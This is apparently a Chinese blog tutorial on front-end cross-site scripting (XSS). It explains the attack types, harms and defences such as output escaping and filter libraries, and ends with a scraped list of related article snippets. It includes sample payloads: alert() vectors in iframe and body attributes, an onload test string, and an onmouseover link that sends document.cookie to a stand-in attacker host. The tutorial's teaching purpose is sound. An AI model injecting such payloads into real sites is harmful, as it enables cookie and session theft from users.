前端xss攻击

xss是什么

xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的。
XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。但是随着前端技术的不断进步,这方面的问题越来越受关注。举个简单例子 : 假如你现在是sns站点上一个用户,发布信息的功能存在漏洞可以执行js 你在 此刻输入一个 恶意脚本,alert(),那么当前所有看到你新信息的人的浏览器都会执行这个脚本弹出提示框。当然,这只是小儿科了,如果搞个更为激烈的,后果将很严重。
这个攻击过程看到有人总结了一个比较直观的图,供理解。

xss攻击的危害

XSS攻击的危害包括:

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 盗窃企业重要的具有商业价值的资料
  • 非法转账
  • 强制发送电子邮件
  • 网站挂马
  • 控制受害者机器向其它网站发起攻击
    举例:
<body background=”javascript:alert(‘xss webjiaocheng!’)”>

<iframe src=javascript:alert(‘xss webjiaocheng!’)”>

<body onload=”a();”><script>function a(){alert(‘xss webjiaocheng!’)”></script></body>

哪些xss攻击

  • 从其它站点到应用站点的攻击:故名思义,这种攻击是由外部发起的,来自email或其它站点。这种攻击在用户点击链接,下载图片或者提交表单的时候,对应用网站进行了意想之外的操作。
    通常用户登录后会得到一个可用session,xss攻击者可以利用这个session,越过用户验证,进行一些不安全的操作,如下:
<a href = “http:// www.2cto.com /addComment.php?subject = I am owned” >
    Check it out!
</a>

通过这个链接,只要用户登录了,就会发送一个subject,即使在其它网站上。
正因如此,一般的邮箱客户端不会自动从不信任的网站上加载图片(因为考虑到可以通过img的src属性向第三方站点发送GET请求);另外,可以设置session的过期时间,让session自动失效。

  • 从应用站点到同站或其它站点的攻击:这种攻击,通常是攻击者在应用站点上通过发表评论,或者其它方式嵌入代码,当用户加载页面或者点击链接就会产生一些意想之外的操作。
    如下:
<a href=”#” onmouseover = “window.location
=‘http://reallybadguys.net/collectCookie.php?cookie =‘ +
documentcookie.escape();” >
Check it out!</a>

当用户滑过链接,就会将cookie信息发到攻击者的服务器上。

看到有的资料上面是按照另外一种方式进行归纳的:

  • 本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
    其攻击过程如下:
    A给B发送一个恶意构造了Web的URL。B点击并查看了这个URL。
    恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
    A的恶意脚本可以在Bob的电脑上执行B所持有的权限下的命令。
  • 反射式漏洞
    这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含

在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

预防

作为前端开发人员,我们需要尽量让自己的代码足够强大和足够完善,并且随着开发经验的增长,相信对于自己熟悉的技术领域的防xss攻击,也会有更多和更深入的理解,下面仅列举几个方面,以后可以对这部分内容不断进行扩充。

  • 对于名字,描述之类的数据,需要格外注意其数据来源,在自测过程中,多输入xss异常数据。如:
></script><iframe/onload=alert(2)>

之类的xss脚本。方便发现潜在的漏洞。

  • 在js中使用innerHTML方法修改dom的时候,要对数据进行转义。
  • 在使用一些模板语言的时候,以freemarker为例,入口文件可用
<#escape x as x?html> ... </#escape>

指令包裹,这样可以保证该指令之间的模版数据在输出数据时默认转义。某些特定情况下,不方便使用<#escape>指令的时候,可以在输出的地方进行转义,如:${name?html},html方法既为ftl的转义指令。

时间: 2024-10-10 02:36:17

前端xss攻击的相关文章

6.XSS攻击方式及防御措施

一.前端XSS攻击分类 1.什么是XSS攻击 XSS允许恶意的web用户将代码植入到提供给其他用户使用的页面中 2.XSS分类 反射型(非持久型)XSS 存储型(持久型)XSS DOM-Basedx型 XSS (1)反射型XSS 攻击方式:诱导用户点击率一些带恶意脚本参数的URL,而服务器直接使用了恶意脚本并返回了结果页,从而导致恶意代码在浏览器执行 (2)持久型XSS 攻击方式:将恶意代码上传或存储到了漏洞服务器上,用户访问页面时,页面中包含了恶意脚本 (3)DOM-Basedx型XSS 攻击

前端过滤XSS攻击

日常开发过程中,对于存在用户交互的一些门户网站等,过滤xss攻击是必不可少的. 此处主要记录下我在工作过程中的简单处理方法. 前端过滤XSS攻击, 我这里用的是开源工程 js-xss,官网地址:http://jsxss.com/zh/index.html 查看官网可发现,与其他的js库一样,使用js-xss,只需(下载)引入xss.js文件到页面即可. 注意 : xss.js中主要使用到的方法为 filterXSS() 由于我在开发过程中,提交数据多是以表单序列化直接提交的,所以我重写了一下表单

转---如何让前端更安全?——XSS攻击和防御详解

前言 平时很少关注安全这块的技术,曾经也买过一本<Web前端黑客技术揭秘>但至今还没翻过,尴尬.今天的早读文章由腾讯优测@小吉带来的分享. 正文从这开始~ 最近深入了解了一下XSS攻击.以前总浮浅的认为XSS防御仅仅只是输入过滤可能造成的XSS而已.然而这池子水深的很呐. XSS的类型 总体来说,XSS分三类,存储型XSS.反射型XSS.DOM-XSS. 存储型XSS 数据库中存有的存在XSS攻击的数据,返回给客户端.若数据未经过任何转义.被浏览器渲染.就可能导致XSS攻击: 反射型XSS 将

前端安全之XSS攻击

转自:http://www.cnblogs.com/lovesong/p/5199623.html XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是"跨域"和"客户端执行".有人将XSS攻击分为三种,分别是: 1. Reflected XSS(基于反射的XSS攻击) 2. Stored XSS(基于存储的XSS攻击) 3. DOM-based or local XSS(基于DOM或本地的XSS攻击) Reflected

【其他】【前端安全】【1】XSS攻击

正文: 1,含义: XSS(Cross Site Scripting), 中文名为跨站脚本.是发生在目标用户的浏览器层面上的,当渲染DOM树的过程成发生了不在预期内执行的JS代码时,就发生了XSS攻击.跨站脚本的重点不在‘跨站’上,而在于‘脚本’上.大多数XSS攻击的主要方式是嵌入一段远程或者第三方域上的JS代码.实际上是在目标网站的作用域下执行了这段js代码. 2,攻击类型: (1)反射型 XSS:通过URL将XXS代码提交到服务器,服务器处理后返回到浏览器进行解析 (2)存储型 XSS(持久

PHP防御XSS攻击的终极解决方案

最近测试XSS攻击修复时,找到的一个比较不错的文章,分享给大家. Update20151202: 感谢大家的关注和回答,目前我从各种方式了解到的防御方法,整理如下: PHP直接输出html的,可以采用以下的方法进行过滤: 1 1.htmlspecialchars函数 2   3 2.htmlentities函数 4   5 3.HTMLPurifier.auto.php插件 6   7 4.RemoveXss函数(百度可以查到) PHP输出到JS代码中,或者开发Json API的,则需要前端在J

XSS攻击的解决方法

在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今天通过阅读<白帽子讲Web安全>这本书,对应对方式有了更好的总结,分为两类,一是服务端可以干的事,二是客户端可以干的事. 前提 在说XSS解决方式时,有一个前提.就是同源策略——浏览器的同源策略(浏览器安全的基础,即使是攻击脚本也要遵守这法则),限制了来自不同源的“document”或脚本,对当前

[转]常用Html辅助方法对XSS攻击的抵抗力

ASP.NET & jQuery注意小细节来防止XSS攻击 前言 在开发网站时最害怕的莫过于开发人员写出了一个具有被攻击性的网站,而其实很多开发人员如果一不注意就会踏进了 Cross-Site Scripting(XSS)的地狱,解决方法很简单但却也很容易踏进去,以小弟来说就也曾经跳进去很多次,尤其式透过 jQuery 在操作动态网页时很容易没想清楚就用错方法导致 XSS 错误发生,所以这边笔者整理了几种在撰写上的技巧来跟大家分享如何防止XSS攻击. XSS 指令码攻击 我们先看下底下这个画面,

PHP 防xss攻击

PHP直接输出html的,可以采用以下的方法进行过滤: 1.htmlspecialchars函数 2.htmlentities函数 3.HTMLPurifier.auto.php插件 4.RemoveXss函数(百度可以查到) PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤: 1.尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容 2.必须要用innerHTML等等函数,则需要做类似php的